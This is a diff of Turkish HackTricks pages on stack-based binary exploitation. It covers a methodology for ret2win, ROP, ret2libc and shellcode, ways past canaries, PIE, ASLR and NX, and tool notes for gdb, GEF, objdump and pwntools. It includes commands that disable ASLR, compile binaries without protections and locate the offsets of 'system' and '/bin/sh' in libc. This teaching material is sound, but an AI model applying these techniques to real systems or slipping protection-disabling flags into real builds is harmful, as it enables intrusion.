-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
+{% endhint %} ## ELF Temel Bilgileri @@ -30,16 +31,16 @@ Herhangi bir şeyi sömürmeye başlamadan önce bir **ELF ikilisinin** yapısı ## Yığın Taşması Metodolojisi -Bu kadar teknikle, her tekniğin ne zaman kullanışlı olacağını belirlemek iyi olabilir. Aynı korumaların farklı teknikleri etkileyeceğini unutmayın. Her koruma bölümünde korumaları atlatmanın yollarını bulabilirsiniz, ancak bu metodolojide değil. +Bu kadar teknikle, her tekniğin ne zaman kullanışlı olacağını belirlemek için bir plana sahip olmak iyidir. Aynı korumaların farklı teknikleri etkileyeceğini unutmayın. Her koruma bölümünde korumaları atlatma yollarını bulabilirsiniz, ancak bu metodolojide değil. ## Akışı Kontrol Etme -Bir programın akışını kontrol etmenin farklı yolları vardır: +Bir programın akışını kontrol etmenin farklı yolları olabilir: -* [**Yığın Taşmaları**](../stack-overflow/): Yığını veya EBP -> ESP -> EIP'den dönüş işaretçisini üzerine yazarak. +* [**Yığın Taşmaları**](../stack-overflow/): Yığından dönüş işaretçisini veya EBP -> ESP -> EIP'yi üzerine yazarak. * Taşmayı tetiklemek için bir [**Tamsayı Taşmaları**](../integer-overflow.md) kullanmanız gerekebilir * Veya **Keyfi Yazma + Ne Nerede Yazma ile Yürütme** -* [**Biçim dizeleri**](../format-strings/)**:** `printf`'i kötüye kullanarak keyfi içeriği keyfi adreslere yazmak. +* [**Biçim Dizileri**](../format-strings/)**:** `printf`'i kötüye kullanarak keyfi içeriği keyfi adreslere yazmak. * [**Dizi İndeksleme**](../array-indexing.md): Kötü tasarlanmış bir dizinlemeyi kötüye kullanarak bazı dizileri kontrol edebilir ve keyfi yazma alabilirsiniz. * Taşmayı tetiklemek için bir [**Tamsayı Taşmaları**](../integer-overflow.md) kullanmanız gerekebilir * **bof to WWW via ROP**: Bir tampon taşmasını kötüye kullanarak bir ROP oluşturmak ve bir WWW almak için. @@ -52,69 +53,69 @@ Bir programın akışını kontrol etmenin farklı yolları vardır: ## Sonsuz Döngüler -Dikkate alınması gereken bir şey genellikle **bir zafiyetin sadece bir kez sömürülmesinin yeterli olmayabileceğidir**, özellikle bazı korumaların atlatılması gerekebilir. Bu nedenle, **bir zafiyeti aynı ikili yürütmede birkaç kez sömürülebilir hale getirmek için bazı seçenekleri** tartışmak ilginç olabilir: +Dikkate alınması gereken bir şey genellikle **bir zafiyetin sadece bir kez sömürülmesinin yeterli olmayabileceğidir**, özellikle bazı korumaların atlatılması gerekebilir. Bu nedenle, **bir zafiyeti aynı ikili çalıştırmada birkaç kez sömürülebilir hale getirmek için bazı seçenekleri** tartışmak ilginçtir: * Bir **ROP** zincirine **`main` işlevinin adresini** veya **zafiyetin meydana geldiği adrese** yazın. -* Uygun bir ROP zincirini kontrol ederek, o zincirdeki tüm işlemleri gerçekleştirebilirsiniz -* **`exit` adresini GOT'a yazın** (veya bitmeden önce ikili tarafından kullanılan başka bir işlev) **zafiyete geri dönmek için** adresi. -* [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**'de açıklandığı gibi**, buraya 2 işlev saklayın, biri zafiyeti tekrar çağırmak için diğeri ise `.fini_array`'dan işlevi tekrar çağıracak olan**`__libc_csu_fini`**'yi çağırmak için. +* Uygun bir ROP zincirini kontrol ederek o zincirdeki tüm işlemleri gerçekleştirebilirsiniz +* **`exit` adresini GOT'a** (veya bitmeden önce ikili tarafından kullanılan başka bir işlev) **zafiyete geri dönmek için adresi yazın** +* [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)**'de açıklandığı gibi,** buraya 2 işlev saklayın, biri zafiyeti tekrar çağırmak için diğeri ise `.fini_array`'dan işlevi tekrar çağıracak olan**`__libc_csu_fini`**'yi çağırmak için. ## Sömürü Hedefleri -### Hedef: Varolan bir işlevi çağırmak +### Hedef: Varolan bir işlevi Çağırmak -* [**ret2win**](./#ret2win): Çağırmanız gereken bir işlev (belki belirli parametrelerle) kodda bulunmaktadır ve bayrağı almak için çağırmanız gerekmektedir. -* [**PIE**](../common-binary-protections-and-bypasses/pie/) **olmadan** ve [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) ile bir bof'ta, yığında depolanan dönüş adresine adresi yazmanız yeterli olacaktır. +* [**ret2win**](./#ret2win): Çağırmanız gereken bir işlev var (belki belirli parametrelerle) bayrağı almak için. +* [**PIE**](../common-binary-protections-and-bypasses/pie/) olmadan ve [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) olmadan düzenli bir bof'ta, yığında depolanan dönüş adresine adresi yazmanız yeterli olacaktır. * [**PIE**](../common-binary-protections-and-bypasses/pie/) ile bir bof'ta, bunu atlatmanız gerekecektir * [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) ile bir bof'ta, bunu atlatmanız gerekecektir -* **ret2win** işlevini doğru çağırmak için birden fazla parametre ayarlamanız gerekiyorsa şunları kullanabilirsiniz: -* **Yeterli sayıda araç varsa bir [**ROP**](./#rop-and-ret2...-techniques) zinciri** tüm parametreleri hazırlamak için +* **ret2win** işlevini doğru şekilde çağırmak için birden fazla parametre ayarlamanız gerekiyorsa şunları kullanabilirsiniz: +* **Yeterli sayıda** kısayol varsa [**ROP**](./#rop-and-ret2...-techniques) **zinciri tüm parametreleri hazırlamak için** * [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (bu sistem çağrısını yapabiliyorsanız) birçok kaydı kontrol etmek için -* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 'dan araçlar birçok kaydı kontrol etmek için -* Bir [**Ne Nerede Yazma**](../arbitrary-write-2-exec/) ile diğer zafiyetleri (bof olmayanlar) kötüye kullanarak **`win`** işlevini çağırabilirsiniz. -* [**İşaretçileri Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığında, çağrılacak bir işlevin işaretçilerini veya bir işlev tarafından kullanılacak bir dizeye işaret eden işaretçiler varsa, o adresi üzerine yazabilirsiniz. +* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 'dan kısayolları kontrol etmek için +* Bir [**Ne Nerede Yazma**](../arbitrary-write-2-exec/) ile başka zafiyetleri (bof olmayanlar) kötüye kullanarak **`win`** işlevini çağırabilirsiniz. +* [**İşaretçileri Yönlendirme**](../stack-overflow/pointer-redirecting.md): Yığın, çağrılacak bir işlevin işaretçilerini veya bir işlev tarafından kullanılacak bir dizeye işaret ediyorsa (system veya printf gibi), o adresi üzerine yazabilirsiniz. * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) adresleri etkileyebilir. * [**İlklenmemiş değişkenler**](../stack-overflow/uninitialized-variables.md): Asla bilemezsiniz. ### Hedef: Uzaktan Kod Yürütme (RCE) -#### Nx devre dışı bırakılmışsa veya shellcode ile ROP karıştırılıyorsa: +#### Nx devre dışı bırakılmışsa veya kodu karıştırarak shellcode ile: * [**(Yığın) Shellcode**](./#stack-shellcode): Bu, bir shellcode'u yığında depolamak ve ardından dönüş işaretçisini üzerine yazdıktan sonra ona atlamak ve çalıştırmak için kullanışlıdır: -* **Her durumda, bir** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)** varsa**, düzenli bir bof'ta bunu atlatmanız gerekecektir -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) **olmadan**, yığının adresine atlamak mümkündür çünkü asla değişmeyecektir -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ile, buna atlamak için [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) gibi tekniklere ihtiyacınız olacaktır -* [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) **ile**, bir [**ROP**](../rop-return-oriented-programing/) kullanarak **`memprotect`'ı çağırmak** ve bazı sayfaları `rwx` yapmak için gerekecektir, ardından oraya **shellcode'u depolamak** (örneğin okuma çağırarak) ve ardından oraya atlamak. +* **Her durumda, bir** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)** varsa,** düzenli bir bof'ta bunu atlatmanız (sızdırmanız) gerekecektir +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) olmadan, yığının adresine atlamak mümkündür çünkü asla değişmeyecektir +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ile, ona atlamak için [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) gibi tekniklere ihtiyacınız olacaktır +* [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) ile, birkaç [**ROP**](../rop-return-oriented-programing/) kullanmanız gerekecektir **`memprotect`'ı çağırmak** ve bazı sayfaları `rwx` yapmak için, ardından oraya **shellcode'u depolamak** (örneğin okuma çağırarak) ve ardından oraya atlamak için. * Bu, shellcode'u bir ROP zinciri ile karıştıracaktır. #### Syscall ile * [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Herhangi bir komutu çalıştırmak için `execve`'yi çağırmak için kullanışlıdır. **Belirli bir syscall'ı parametrelerle çağırmak için gerekli olan gadget'ları bulabilmelisiniz**. -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) etkinse, ROP gadget'larını kullanabilmek için bunları **geçmek zorundasınız**. -* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve'yi hazırlamak için** faydalı olabilir -* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) gadget'ları, çeşitli register'ları kontrol etmek için kullanışlıdır +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) etkinse, ROP gadget'larını kullanabilmek için bunları **geçmek gerekecek**. +* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) **ret2execve'yi hazırlamak için** kullanışlı olabilir +* [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) ve [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) ile çeşitli register'ları kontrol etmek için gadget'lar #### Libc ile -* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Genellikle **`libc`** gibi bir kütüphaneden bir fonksiyonu (genellikle **`system`**) çağırmak için kullanışlıdır ve bazı hazırlanmış argümanlarla (ör. `'/bin/sh'`). Çağırmak istediğiniz fonksiyonu içeren kütüphanenin binary'yi **yüklemesi gerekmektedir**. -* **Statik olarak derlenmiş ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **olmayan durumlarda**, `system` ve `/bin/sh`'nin **adresleri değişmeyecek**, bu yüzden bunları statik olarak kullanmak mümkündür. -* **ASLR olmadan** [**ve yüklü libc sürümünü bildiğinizde**, `system` ve `/bin/sh`'nin **adresleri değişmeyecek**, bu yüzden bunları statik olarak kullanmak mümkündür. -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ancak** [**PIE**](../common-binary-protections-and-bypasses/pie/)** olmadan, libc'yi bildiğiniz ve binary'nin `system`** fonksiyonunu kullandığı durumlarda, **`'/bin/sh'` adresine GOT'taki system adresine** `ret` yapmak mümkündür (bunu çözmeniz gerekecek). -* [ASLR](../common-binary-protections-and-bypasses/aslr/) **ancak** [PIE](../common-binary-protections-and-bypasses/pie/)** olmadan, libc'yi bildiğiniz ve binary'nin `system`'i kullanmadığı durumlarda**: -* **`ret2dlresolve`**'yi kullanarak `system`'in adresini çözümlemek ve çağırmak mümkündür -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **geçmek ve bellekteki `system` ve `'/bin/sh'` adreslerini hesaplamak**. -* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **ve libc sürümünü bilmediğiniz durumlarda**: Şunları yapmanız gerekmektedir: -* [PIE'yi geçmek](../common-binary-protections-and-bypasses/pie/) -* Kullanılan **`libc` sürümünü** bulun (birkaç fonksiyon adresini sızdırın) -* Devam etmek için **ASLR ile ilgili önceki senaryoları kontrol edin**. +* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Genellikle **`libc`** gibi bir kütüphaneden bir fonksiyonu (genellikle **`system`**) çağırmak için kullanışlıdır ve bazı hazırlanmış argümanlarla (ör. `'/bin/sh'`). Çağırmak istediğiniz fonksiyonu içeren kütüphanenin **yüklenmiş olması gerekmektedir**. +* **Statik olarak derlenmiş ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **olmayan durumlarda**, `system` ve `/bin/sh`'nin **adresleri değişmeyecek**, bu yüzden bunları statik olarak kullanmak mümkün olacaktır. +* **ASLR olmadan** [**ve yüklü olan libc sürümünü** bilerek, `system` ve `/bin/sh`'nin **adresleri değişmeyecek**, bu yüzden bunları statik olarak kullanmak mümkün olacaktır. +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **var ancak** [**PIE**](../common-binary-protections-and-bypasses/pie/) **yoksa, libc bilinir ve binary `system`** fonksiyonunu kullandığında, `'/bin/sh'` adresine **GOT'taki system adresine** `ret` yapmak mümkün olacaktır (bunu çözmeniz gerekecek). +* [ASLR](../common-binary-protections-and-bypasses/aslr/) **var ancak** [PIE](../common-binary-protections-and-bypasses/pie/) **yoksa, libc bilinir ve binary `system`'i kullanmadığında**: +* **`ret2dlresolve`**'yi kullanarak `system`'in adresini çözümlemek ve çağırmak mümkündür. +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **geçmek ve `system` ve `'/bin/sh'`'nin adresini hesaplamak** için +* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ve** [**PIE**](../common-binary-protections-and-bypasses/pie/) **var ve libc bilinmiyorsa**: +* [**PIE**](../common-binary-protections-and-bypasses/pie/) **geçmek** +* Kullanılan **`libc` sürümünü** bulmak (birkaç fonksiyon adresini sızdırmak) +* Devam etmek için **ASLR ile önceki senaryoları kontrol etmek** gerekecek. #### EBP/RBP ile * [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): ESP'yi kontrol ederek stack'te depolanan EBP aracılığıyla RET'i kontrol etmek. * **Off-by-one** stack overflow'lar için kullanışlıdır -* EIP'yi kontrol etmeyi sonlandırmanın alternatif bir yol olarak kullanışlıdır, EIP'yi kontrol ederken bellekte payload'ı oluşturmak ve ardından EBP aracılığıyla ona atlamak. +* EIP'yi kontrol etmeyi sonlandırmanın alternatif bir yol olarak kullanışlıdır, EIP'yi kontrol ederken bellekte payload'ı oluşturmak ve ardından EBP aracılığıyla ona atlamak için #### Çeşitli -* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Stack'te çağrılacak bir fonksiyonun veya ilginç bir fonksiyon tarafından kullanılacak bir dizenin adreslerini içeren işaretçiler varsa, o adresi üzerine yazmak mümkündür. +* [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Stack'te çağrılacak bir fonksiyonun adreslerini veya bir dizeyi içeren işlevin (system veya printf gibi) kullanılacağına dair işaretçiler varsa, o adresi üzerine yazmak mümkündür. * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) veya [**PIE**](../common-binary-protections-and-bypasses/pie/) adresleri etkileyebilir. * [**İlklenmemiş değişkenler**](../stack-overflow/uninitialized-variables.md): Asla bilemezsiniz diff --git a/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 142bb136d..0690a6fcf 100644 --- a/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,18 +1,19 @@ # Sızma Araçları +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Metasploit ```bash @@ -90,7 +91,7 @@ x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) -İlginç talimatlar içeren [**bu GE**](https://github.com/bata24/gef)[**F çatalını**](https://github.com/bata24/gef) isteğe bağlı olarak kullanabilirsiniz. +İlginç komutlar içeren [**bu GE**](https://github.com/bata24/gef)[**F çatalını**](https://github.com/bata24/gef) isteğe bağlı olarak kullanabilirsiniz. ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -137,11 +138,11 @@ gef➤ pattern search 0x6261617762616176 #### GDB aynı adresler -Hata ayıklama yaparken GDB, **yürütüldüğünde kullanılan adreslerden biraz farklı olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için şunları yapabilirsiniz: +Hata ayıklama yaparken GDB, **yürütüldüğünde kullanılan adreslerden biraz farklı adreslere sahip olacaktır.** GDB'nin aynı adreslere sahip olmasını sağlamak için şunları yapabilirsiniz: * `unset env LINES` * `unset env COLUMNS` -* `set env _=` _Binary'nin mutlak yolunu ekleyin_ +* `set env _=` _Binary'nin mutlak yolunu ekleyin_ * Aynı mutlak yolu kullanarak binary'yi sömürün * GDB'yi kullanırken ve binary'yi sömürürken `PWD` ve `OLDPWD` aynı olmalıdır @@ -165,7 +166,7 @@ gef➤ bt ### Yığın ofsetini bulma -**Ghidra**, **yerel değişkenlerin konumu hakkındaki bilgiler sayesinde bir tampon taşmasının ofsetini bulmak için çok yararlıdır.**\ +**Ghidra**, **yerel değişkenlerin konumu hakkındaki bilgiler sayesinde bir **tampon taşmasının ofsetini bulmak için çok yararlıdır.**\ Örneğin, aşağıdaki örnekte, `local_bc` içinde bir tampon taşması, `0xbc` ofsetine ihtiyaç duyduğunuzu gösterir. Dahası, `local_10` bir canary çerezi ise, `local_bc`'den üzerine yazmak için `0xac` ofseti olduğunu gösterir.\ _RIP'nin kaydedildiği ilk 0x08'in RBP'ye ait olduğunu unutmayın._ @@ -179,18 +180,18 @@ Programda yürütülen her opcode'u alın. ## GCC -**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumasız derleme\ +**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Korumalar olmadan derleme\ **-o** --> Çıktı\ **-g** --> Kodu kaydet (GDB görebilecek)\ **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux'ta ASLR'yi devre dışı bırakmak için **Shellcode derlemek için:**\ **nasm -f elf assembly.asm** --> ".o" döndürür\ -**ld assembly.o -o shellcodeout** --> Yürütülebilir dosya +**ld assembly.o -o shellcodeout** --> Yürütülebilir ## Objdump -**-d** --> **Yürütülebilir** bölümleri (derlenmiş shellcode'un opcode'larını görmek, ROP Gadgets bulmak, fonksiyon adresini bulmak...)\ +**-d** --> **Yürütülebilir** bölümleri (derlenmiş bir shellcode'un opcode'larını görmek, ROP Gadgets bulmak, fonksiyon adresini bulmak...)\ **-Mintel** --> **Intel** sözdizimi\ **-t** --> **Semboller** tablosu\ **-D** --> **Tümünü** (statik değişkenin adresi)\ @@ -209,12 +210,12 @@ Programda yürütülen her opcode'u alın. ## Daha Fazla -**ldd executable | grep libc.so.6** --> Adres (ASLR ise, bu her seferinde değişir)\ +**ldd executable | grep libc.so.6** --> Adres (ASLR varsa, bu her seferinde değişir)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"ın ofseti\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" ofseti +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"nin ofseti -**strace executable** --> Yürütülebilir dosya tarafından çağrılan fonksiyonlar\ +**strace executable** --> Yürütülebilir tarafından çağrılan fonksiyonlar\ **rabin2 -i ejecutable -->** Tüm fonksiyonların adresi ## **Inmunity debugger** @@ -226,24 +227,25 @@ Programda yürütülen her opcode'u alın. ### Uzaktan linux'ta hata ayıklama -IDA klasörü içinde, bir linux içinde bir ikili dosyayı hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunun için `linux_server` veya `linux_server64` ikili dosyasını linux sunucusuna taşıyın ve ikili dosyayı içeren klasörde çalıştırın: +IDA klasörü içinde, bir linux içinde bir ikili dosyayı hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunun için `linux_server` veya `linux_server64` ikili dosyasını linux sunucuya taşıyın ve ikili dosyayı içeren klasörde çalıştırın: ``` ./linux_server64 -Ppass ``` -Sonra, hata ayıklayıcıyı yapılandırın: Hata Ayıklayıcı (uzaktan linux) --> İşlem seçenekleri...: +Ardından, hata ayıklayıcıyı yapılandırın: Hata Ayıklayıcı (linux uzak) --> İşlem seçenekleri...: ![](<../../../.gitbook/assets/image (858).png>) +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizin **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 06bb8049a..f9bb5d552 100644 --- a/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -1,34 +1,35 @@ # PwnTools +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun.**
+{% endhint %} ``` pip3 install pwntools ``` ## Pwn asm -Satır veya dosyadan **opcode**'ları alın. +Satır veya dosyadan **opcode'ları** alın. ``` pwn asm "jmp esp" pwn asm -i ``` -**Seçebilir:** +**Seçebilirsiniz:** * çıktı türü (ham,hex,dize,elf) -* çıktı dosya içeriği (16,32,64,linux,windows...) +* çıktı dosya bağlamı (16,32,64,linux,windows...) * baytları önle (yeni satırlar, null, bir liste) -* gdb kullanarak hata ayıklama kabuk kodunu seç +* hata ayıklama kabuğu kodlayıcı seçin gdb çalıştır çıktı ## **Pwn checksec** @@ -54,7 +55,7 @@ pwn cyclic -l faad ## Pwn hata ayıklama -Bir işleme GDB'yi ekleyin +Bir işleme GDB ekleyin ``` pwn debug --exec /bin/bash pwn debug --pid 1234 @@ -68,7 +69,7 @@ pwn debug --process bash ## Pwn disablenx -Bir ikilinin nx'ini devre dışı bırakın +Bir ikili dosyanın nx'ini devre dışı bırakın ``` pwn disablenx ``` @@ -78,10 +79,10 @@ Hex opcodes'ı disassemble etmek ``` pwn disasm ffe4 ``` -**Seçebilir:** +**Seçenekler:** * bağlam (16,32,64,linux,windows...) -* temel adres +* taban adres * renk (varsayılan)/renksiz ## 